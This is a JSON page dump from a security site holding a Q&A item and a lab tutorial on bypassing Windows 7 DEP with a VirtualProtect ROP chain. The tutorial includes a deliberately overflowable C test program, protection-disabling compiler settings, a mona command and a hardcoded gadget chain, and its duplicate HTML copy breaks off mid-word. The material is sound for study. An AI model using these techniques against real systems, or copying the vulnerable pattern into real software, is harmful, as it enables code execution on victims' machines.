[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f5T7iz4k28D8S7MaDKdng4BluSptB66f2TXYBSLoT6sY":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":52,"createdAt":52,"_status":51},175,"Why was memcpy used instead of strcpy in the test code for shellcode injection?","strcpy stops copying when it encounters a null byte (0x00), which would truncate shellcode containing necessary null bytes (e.g., address pointers). memcpy does not have this limitation, making it more suitable for testing shellcode that may include null bytes. This practical consideration is highlighted in the article's test setup for [Windows Shellcode Study Notes - Bypassing DEP via VirtualProtect](\u002Fnews\u002Fwindows-shellcode-study-notes-bypassing-dep-via-virtualprotect).","\u003Cp>strcpy stops copying when it encounters a null byte (0x00), which would truncate shellcode containing necessary null bytes (e.g., address pointers). memcpy does not have this limitation, making it more suitable for testing shellcode that may include null bytes. This practical consideration is highlighted in the article&#39;s test setup for [Windows Shellcode Study Notes - Bypassing DEP via VirtualProtect](\u002Fnews\u002Fwindows-shellcode-study-notes-bypassing-dep-via-virtualprotect).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fwindows-shellcode-study-notes-bypassing-dep-via-virtualprotect\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","why-was-memcpy-used-instead-of-strcpy-in-the-test-code-for-shellcode-injection-1777484781650","memcpy, strcpy, null byte, shellcode injection, buffer overflow",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":48,"updatedAt":49,"createdAt":50,"_status":51},45,"Windows Shellcode Study Notes - Bypassing DEP via VirtualProtect","windows-shellcode-study-notes-bypassing-dep-via-virtualprotect","Learn how to bypass DEP on Windows 7 using VirtualProtect. Step-by-step guide on ROP chains, VS2012 configuration, and debugging with Immunity Debugger.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>After mastering the basic principles and exploitation methods of stack overflow, the next step is to study how to bypass the multiple protections Windows systems have against stack overflow exploitation. Therefore, the testing environment has shifted from XP to Win7 (compared to XP, Win7 offers more comprehensive protection). This article will introduce the classic DEP bypass method—bypassing DEP via VirtualProtect.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>VS2012 compilation configuration\u003C\u002Fli>\u003Cli>Automatically obtaining ROP chains using Immunity Debugger's mona plugin\u003C\u002Fli>\u003Cli>Analysis and debugging of ROP chains\u003C\u002Fli>\u003Cli>Bugs and fixes when calling the VirtualProtect function\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Related Concepts\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>\u003Cstrong>DEP:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The root cause of overflow attacks lies in the lack of clear distinction between data and code in computers. If code is placed in the data segment, the system will execute it.\u003C\u002Fp>\u003Cp>To compensate for this deficiency, Microsoft introduced support for Data Execution Prevention (DEP) starting from XP SP2.\u003C\u002Fp>\u003Cp>\u003Cstrong>DEP Protection Principle:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Memory pages containing data are marked as non-executable. When a program overflow successfully transfers to shellcode, the program attempts to execute instructions on the data page. With DEP, the CPU throws an exception instead of executing the instructions.\u003C\u002Fp>\u003Cp>\u003Cstrong>Four DEP Operating States:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cul>\u003Cli>Optin\u003C\u002Fli>\u003Cli>Optout\u003C\u002Fli>\u003Cli>AlwaysOn\u003C\u002Fli>\u003Cli>AlwaysOff\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>DEP Bypass Principle:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>If the function return address does not directly point to the data segment but to the entry address of an existing system function, since the page permissions of the system function are executable, DEP will not be triggered.\u003C\u002Fp>\u003Cp>In other words, alternative instructions can be found in the code area to implement the functionality of shellcode.\u003C\u002Fp>\u003Cp>However, the available alternative instructions are often limited and cannot fully implement the functionality of shellcode.\u003C\u002Fp>\u003Cp>Thus, a compromise method emerged: disable DEP through alternative instructions, then transfer to execute shellcode.\u003C\u002Fp>\u003Cp>\u003Cstrong>Memory Page:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>On x86 systems, the size of a memory page is 4KB, i.e., 0x00001000, 4096.\u003C\u002Fp>\u003Cp>\u003Cstrong>ROP:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Return-oriented Programming\u003C\u002Fp>\u003Cp>\u003Cstrong>VirtualProtect:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>BOOL VirtualProtect{\u003C\u002Fp>\u003Cp>LPVOID\tlpAddress,\u003C\u002Fp>\u003Cp>DWORD\tdwsize,\u003C\u002Fp>\u003Cp>DWORD\tflNewProtect,\u003C\u002Fp>\u003Cp>PDWORD\tlpflOldProtect\u003C\u002Fp>\u003Cp>}\u003C\u002Fp>\u003Cp>lpAddress: Starting address of memory\u003C\u002Fp>\u003Cp>dwsize: Size of memory region\u003C\u002Fp>\u003Cp>flNewProtect: Memory attributes, PAGE_EXECUTE_READWRITE(0x40)\u003C\u002Fp>\u003Cp>lpflOldProtect: Address to save original memory attributes\u003C\u002Fp>\u003Cp>\u003Cstrong>Bypassing DEP via VirtualProtect:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Find alternative instructions in memory, fill in appropriate parameters, call VirtualProtect to set shellcode's memory attributes to readable, writable, and executable, then jump to shellcode to continue execution\u003C\u002Fp>\u003Ch2>0x03 VS2012 Compilation Configuration\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>\u003Cstrong>Testing Environment:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cul>\u003Cli>Test System:\tWin 7 x86\u003C\u002Fli>\u003Cli>Compiler:\tVS2012\u003C\u002Fli>\u003Cli>Build Version:\tRelease\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>Project Properties:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cul>\u003Cli>GS Disabled\u003C\u002Fli>\u003Cli>Optimization Disabled\u003C\u002Fli>\u003Cli>SEH Disabled\u003C\u002Fli>\u003Cli>DEP Disabled\u003C\u002Fli>\u003Cli>ASLR Disabled\u003C\u002Fli>\u003Cli>C++ Exceptions Disabled\u003C\u002Fli>\u003Cli>Intrinsic Functions Disabled\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>Specific Configuration Method:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Configuration Properties-C\u002FC++-All Properties\u003C\u002Fp>\u003Cul>\u003Cli>Security Check No(\u002FGS-)\u003C\u002Fli>\u003Cli>Enable C++ Exceptions No\u003C\u002Fli>\u003Cli>Enable Intrinsic Functions No\u003C\u002Fli>\u003Cli>Optimization Disabled(\u002FOd)\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Configuration Properties-Linker-All Properties\u003C\u002Fp>\u003Cul>\u003Cli>Data Execution Prevention (DEP) No(\u002FNXCOMPAT:NO)\u003C\u002Fli>\u003Cli>Randomized Base Address No(\u002FDYNAMICBASE:NO)\u003C\u002Fli>\u003Cli>Image Has Safe Exception Handlers No(\u002FSAFESEH:NO)\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x04 Actual Test\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Test 1:\u003C\u002Fh3>\u003Cp>Test Code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>char shellcode[]=\u003Cbr>\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\u003Cbr>\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\u003Cbr>\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\u003Cbr>\t\"\\x41\\x41\\x41\\x41\\x42\\x43\\x44\\x45\";\u003Cbr>\u003Cbr>void test()\u003Cbr>{\u003Cbr>\tchar buffer[48];\u003Cbr>\tmemcpy(buffer,shellcode,sizeof(shellcode));\u003Cbr>}\u003Cbr>\u003Cbr>int main()\u003Cbr>{\u003Cbr>\tprintf(\"1\\n\");\u003Cbr>\ttest();\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>strcpy truncates early when encountering 0x00 during execution. To facilitate shellcode testing, replace strcpy with memcpy, which does not truncate upon encountering 0x00.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019827345_0_1a09f34c75.png\">\u003C\u002Fp>\u003Cp>As shown in the figure above, the return address was successfully overwritten to 0x45444342.\u003C\u002Fp>\u003Ch3>Test 2:\u003C\u002Fh3>\u003Cp>The shellcode starting address is 0x00403020.\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>PUSH 1\u003Cbr>POP ECX\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The corresponding machine code is 0x0059016A.\u003C\u002Fp>\u003Cp>Overwrite the return address with the shellcode starting address.\u003C\u002Fp>\u003Cp>The shellcode implements the following operations:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>PUSH 1\u003Cbr>POP ECX\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Fill other bits with 0x90.\u003C\u002Fp>\u003Cp>C code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>char shellcode[]=\u003Cbr>\t\"\\x6A\\x01\\x59\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>\t\"\\x90\\x90\\x90\\x90\\x20\\x30\\x40\\x00\";\u003Cbr>\u003Cbr>void test()\u003Cbr>{\u003Cbr>\tchar buffer[48];\u003Cbr>\tmemcpy(buffer,shellcode,sizeof(shellcode));\u003Cbr>}\u003Cbr>\u003Cbr>int main()\u003Cbr>{\u003Cbr>\tprintf(\"1\\n\");\u003Cbr>\ttest();\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019841014_1_30daf09d29.png\">\u003C\u002Fp>\u003Cp>As shown above, the shellcode executed successfully, and the ECX register was assigned a value of 1\u003C\u002Fp>\u003Ch3>Test 3:\u003C\u002Fh3>\u003Cp>Enable DEP, debug again, and find that the shellcode cannot execute, as shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019861960_2_aefb0ad673.png\">\u003C\u002Fp>\u003Ch3>Test 4:\u003C\u002Fh3>\u003Cp>Download and install Immunity Debugger\u003C\u002Fp>\u003Cp>Download the mona plugin, the download address is as follows:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fcorelan\u002Fmona\u003C\u002Fp>\u003Cp>Place mona.py under C:\\Program Files\\Immunity Inc\\Immunity Debugger\\PyCommands\u003C\u002Fp>\u003Cp>Start Immunity Debugger, open test.exe\u003C\u002Fp>\u003Cp>Use the mona plugin to automatically generate a ROP chain, input:\u003C\u002Fp>\u003Cp>!mona rop -m *.dll -cp nonull\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019867991_3_c535413dba.png\">\u003C\u002Fp>\u003Cp>mona searches for all DLLs to construct ROP chains\u003C\u002Fp>\u003Cp>After executing the command, files rop.txt, rop_chains.txt, rop_suggestions.txt, and stackpivot.txt are generated under C:\\Program Files\\Immunity Inc\\Immunity Debugger\u003C\u002Fp>\u003Cp>Check rop_chains.txt, which lists ROP chains that can be used to disable DEP; select the VirtualProtect() function\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019871686_4_93f55c0a82.png\">\u003C\u002Fp>\u003Cp>As shown above, the ROP chain is successfully constructed\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Different environments may not obtain complete parameters; analysis must be tailored to the specific environment\u003C\u002Fp>\u003Cp>The corresponding test POC is modified as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>unsigned int shellcode[]=\u003Cbr>{     \u003Cbr>      0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>      0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>\t  0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>\t  0x90909090,\u003Cbr>      0x77217edd,  \u002F\u002F POP EAX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x77171910,  \u002F\u002F ptr to &amp;VirtualProtect() [IAT kernel32.dll]\u003Cbr>      0x75d7e9dd,  \u002F\u002F MOV EAX,DWORD PTR DS:[EAX] \u002F\u002F RETN [KERNELBASE.dll]\u003Cbr>      0x779f9dca,  \u002F\u002F XCHG EAX,ESI \u002F\u002F RETN [ntdll.dll]\u003Cbr>      0x779cdd30,  \u002F\u002F POP EBP \u002F\u002F RETN [ntdll.dll]\u003Cbr>      0x75dac58d,  \u002F\u002F &amp; call esp [KERNELBASE.dll]\u003Cbr>      0x693a7031,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll]\u003Cbr>      0xfffffdff,  \u002F\u002F Value to negate, will become 0x00000201\u003Cbr>      0x69354484,  \u002F\u002F NEG EAX \u002F\u002F RETN [MSVCR110.dll]\u003Cbr>      0x75da655d,  \u002F\u002F XCHG EAX,EBX \u002F\u002F ADD BH,CH \u002F\u002F DEC ECX \u002F\u002F RETN 0x10 [KERNELBASE.dll]\u003Cbr>      0x69329bb1,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll]\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0xffffffc0,  \u002F\u002F Value to negate, will become 0x00000040\u003Cbr>      0x69354484,  \u002F\u002F NEG EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x771abd3a,  \u002F\u002F XCHG EAX,EDX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x6935a7c0,  \u002F\u002F POP ECX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x693be00d,  \u002F\u002F &amp;Writable location [MSVCR110.dll]\u003Cbr>      0x779a4b9a,  \u002F\u002F POP EDI \u002F\u002F RETN [ntdll.dll] \u003Cbr>      0x69354486,  \u002F\u002F RETN (ROP NOP) [MSVCR110.dll]\u003Cbr>      0x693417cb,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x90909090,  \u002F\u002F nop\u003Cbr>      0x69390267,  \u002F\u002F PUSHAD \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>\t  \t\u003Cbr>      0x9059016A,  \u002F\u002FPUSH 1  \u002F\u002F POP ECX \u002F\u002F NOP\u003Cbr>      0x90909090,\u003Cbr>      0x90909090,\u003Cbr>      0x90909090,\u003Cbr>      0x90909090\u003Cbr>};\u003Cbr>void test()\u003Cbr>{\u003Cbr>\tchar buffer[48];\t\u003Cbr>\tprintf(\"3\\n\");\u003Cbr>\tmemcpy(buffer,shellcode,sizeof(shellcode));\u003Cbr>}\u003Cbr>int main()\u003Cbr>{\u003Cbr>\tprintf(\"1\\n\");\u003Cbr>\ttest();\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>0x9059016A is the machine code for PUSH 1; POP ECX; NOP;. If DEP is bypassed, this instruction will execute successfully.\u003C\u002Fp>\u003Cp>Debug in OllyDbg after compilation\u003C\u002Fp>\u003Cp>Step through to CALL KERNELBA.VirtualProtectEX and examine the stack\u003C\u002Fp>\u003Cp>Can obtain the passed function parameters\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019877832_5_4e03a9e23f.jpeg\">\u003C\u002Fp>\u003Cp>As shown above, unfortunately the shellcode overwrites the SEH chain\u003C\u002Fp>\u003Cp>This will cause the parameters passed to the VirtualProtectEx function to be incorrect, resulting in a failed call. It is speculated that the return value of the VirtualProtectEx function call is 0\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019882398_6_aa086fd7a5.jpeg\">\u003C\u002Fp>\u003Cp>As shown above, verifying the above judgment, the EAX register indicates the return value, which is 0, indicating that modifying the memory attributes failed\u003C\u002Fp>\u003Cp>\u003Cstrong>Solution approach:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>We need to expand the stack space and move the SEH chain downward to ensure that the shellcode does not overwrite the SEH chain\u003C\u002Fp>\u003Cp>\u003Cstrong>Solution method:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Modify the source code to move the SEH chain downward by allocating space\u003C\u002Fp>\u003Ch3>Test 5:\u003C\u002Fh3>\u003Cp>Key code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>int main()\u003Cbr>{\u003Cbr>\tprintf(\"1\\n\");\u003Cbr>\ttest();\u003Cbr>\tchar Buf[] = \u003Cbr>\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\";\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compile the program and debug it again in OllyDbg\u003C\u002Fp>\u003Cp>Step through to the CALL KERNELBA.VirtualProtectEX and examine the stack\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019886342_7_1c45802107.jpeg\">\u003C\u002Fp>\u003Cp>SEH chain successfully 'shifted down', located at high address, not overwritten by shellcode\u003C\u002Fp>\u003Cp>Parameters passed to VirtualProtectEx function are correct at this moment\u003C\u002Fp>\u003Cp>Press F8 to step through and view results\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019888329_8_bdbc12464f.jpeg\">\u003C\u002Fp>\u003Cp>As shown above, return value is 0, memory attribute modification still failed\u003C\u002Fp>\u003Cp>LastErr shows error as ERROR_INVALID_ADDRESS (000001E7), indicating address error\u003C\u002Fp>\u003Ch3>Test 6:\u003C\u002Fh3>\u003Cp>Examine stack during normal VirtualProtect() function call, compare with Test 5 to analyze failure reason\u003C\u002Fp>\u003Cp>Implementation code for normal call is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>int main()\u003Cbr>{\u003Cbr>\u003Cbr>\tvoid *p=malloc(16);\u003Cbr>\tprintf(\"0x%08x\\n\",p);\u003Cbr>\tDWORD pflOldProtect;\u003Cbr>\tint x=VirtualProtect(p,4,0x40,&amp;pflOldProtect);\u003Cbr>\tprintf(\"%d\\n\",x);\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>Test 7:\u003C\u002Fh3>\u003Cp>If the starting address is modified to an inaccessible address, such as 0x40303020\u003C\u002Fp>\u003Cp>Compile the program and debug it in OllyDbg\u003C\u002Fp>\u003Cp>Step trace to CALL KERNELBA.VirtualProtectEX, examine the stack\u003C\u002Fp>\u003Cp>Format as shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019890051_9_1891ecbc6a.jpeg\">\u003C\u002Fp>\u003Cp>Press F8 to step through and view the result\u003C\u002Fp>\u003Cp>As shown in the figure, the same error occurs: ERROR_INVALID_ADDRESS (000001E7)\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019891193_10_3af78ab982.png\">\u003C\u002Fp>\u003Cp>Hypothesis: the starting address passed to the shellcode is problematic\u003C\u002Fp>\u003Cp>Continue with our testing\u003C\u002Fp>\u003Ch3>Test 8\u003C\u002Fh3>\u003Cp>Continue testing 5, single-step trace to CALL KERNELBA.VirtualProtectEX, attempt to modify data on the stack\u003C\u002Fp>\u003Cp>Modify memory address 0x0012FF2c to the starting address of the current memory page, i.e., 0x0012F000\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019892056_11_3e99fff9c0.jpeg\">\u003C\u002Fp>\u003Cp>Press F8 to single-step execute and view the result\u003C\u002Fp>\u003Cp>As shown in the figure below, the value of register EAX is 1, meaning the return value is 1, successfully modified memory attributes\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019892647_12_ab6c8d8f99.jpeg\">\u003C\u002Fp>\u003Cp>Continue execution downward, press F7 at the CALL ESP position to single-step into\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019893655_13_dfade41945.png\">\u003C\u002Fp>\u003Cp>As shown in the figure above, it is found that PUSH 1; POP ECX executed successfully, test successful, successfully bypassed DEP via VirtualProtect and executed shellcode in the data segment\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>In this case, VirtualProtectEX can only modify up to 4096 bytes of memory at a time (i.e., the length of one memory page) and cannot modify across pages. If it exceeds the boundary, the return value is 0, indicating modification failure\u003C\u002Fp>\u003Cp>The C function call VirtualProtect does not have the above issue, can modify across pages, and length can exceed 4096\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>When setting up a testing environment under Win7, special attention must be paid to the compilation configuration of VS2012. Multiple protections enhance program security but also complicate environment setup.\u003C\u002Fp>\u003Cp>Available alternative instructions often differ across systems, requiring continuous adaptation of strategies to construct suitable ROP chains.\u003C\u002Fp>\u003Cp>Additionally, the mona plugin for Immunity Debugger can facilitate ROP chain development, but be aware of potential bugs, necessitating more testing and optimization.\u003C\u002Fp>\u003Cp>If the shellcode length exceeds 4096, using VirtualProtect to disable DEP will fail, requiring alternative methods.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>After mastering the basic principles and exploitation methods of stack overflow, the next step is to study how to bypass the multiple protections Windows systems have against stack overflow exploitation. Therefore, the testing environment has shifted from XP to Win7 (compared to XP, Win7 offers more comprehensive protection). This article will introduce the classic DEP bypass method—bypassing DEP via VirtualProtect.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>VS2012 compilation configuration\u003C\u002Fli>\u003Cli>Automatically obtaining ROP chains using Immunity Debugger's mona plugin\u003C\u002Fli>\u003Cli>Analysis and debugging of ROP chains\u003C\u002Fli>\u003Cli>Bugs and fixes when calling the VirtualProtect function\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Related Concepts\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>\u003Cstrong>DEP:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The root cause of overflow attacks lies in the lack of clear distinction between data and code in computers. If code is placed in the data segment, the system will execute it.\u003C\u002Fp>\u003Cp>To compensate for this deficiency, Microsoft introduced support for Data Execution Prevention (DEP) starting from XP SP2.\u003C\u002Fp>\u003Cp>\u003Cstrong>DEP Protection Principle:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Memory pages containing data are marked as non-executable. When a program overflow successfully transfers to shellcode, the program attempts to execute instructions on the data page. With DEP, the CPU throws an exception instead of executing the instructions.\u003C\u002Fp>\u003Cp>\u003Cstrong>Four DEP Operating States:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cul>\u003Cli>Optin\u003C\u002Fli>\u003Cli>Optout\u003C\u002Fli>\u003Cli>AlwaysOn\u003C\u002Fli>\u003Cli>AlwaysOff\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>DEP Bypass Principle:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>If the function return address does not directly point to the data segment but to the entry address of an existing system function, since the page permissions of the system function are executable, DEP will not be triggered.\u003C\u002Fp>\u003Cp>In other words, alternative instructions can be found in the code area to implement the functionality of shellcode.\u003C\u002Fp>\u003Cp>However, the available alternative instructions are often limited and cannot fully implement the functionality of shellcode.\u003C\u002Fp>\u003Cp>Thus, a compromise method emerged: disable DEP through alternative instructions, then transfer to execute shellcode.\u003C\u002Fp>\u003Cp>\u003Cstrong>Memory Page:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>On x86 systems, the size of a memory page is 4KB, i.e., 0x00001000, 4096.\u003C\u002Fp>\u003Cp>\u003Cstrong>ROP:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Return-oriented Programming\u003C\u002Fp>\u003Cp>\u003Cstrong>VirtualProtect:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>BOOL VirtualProtect{\u003C\u002Fp>\u003Cp>LPVOID\tlpAddress,\u003C\u002Fp>\u003Cp>DWORD\tdwsize,\u003C\u002Fp>\u003Cp>DWORD\tflNewProtect,\u003C\u002Fp>\u003Cp>PDWORD\tlpflOldProtect\u003C\u002Fp>\u003Cp>}\u003C\u002Fp>\u003Cp>lpAddress: Starting address of memory\u003C\u002Fp>\u003Cp>dwsize: Size of memory region\u003C\u002Fp>\u003Cp>flNewProtect: Memory attributes, PAGE_EXECUTE_READWRITE(0x40)\u003C\u002Fp>\u003Cp>lpflOldProtect: Address to save original memory attributes\u003C\u002Fp>\u003Cp>\u003Cstrong>Bypassing DEP via VirtualProtect:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Find alternative instructions in memory, fill in appropriate parameters, call VirtualProtect to set shellcode's memory attributes to readable, writable, and executable, then jump to shellcode to continue execution\u003C\u002Fp>\u003Ch2>0x03 VS2012 Compilation Configuration\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>\u003Cstrong>Testing Environment:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cul>\u003Cli>Test System:\tWin 7 x86\u003C\u002Fli>\u003Cli>Compiler:\tVS2012\u003C\u002Fli>\u003Cli>Build 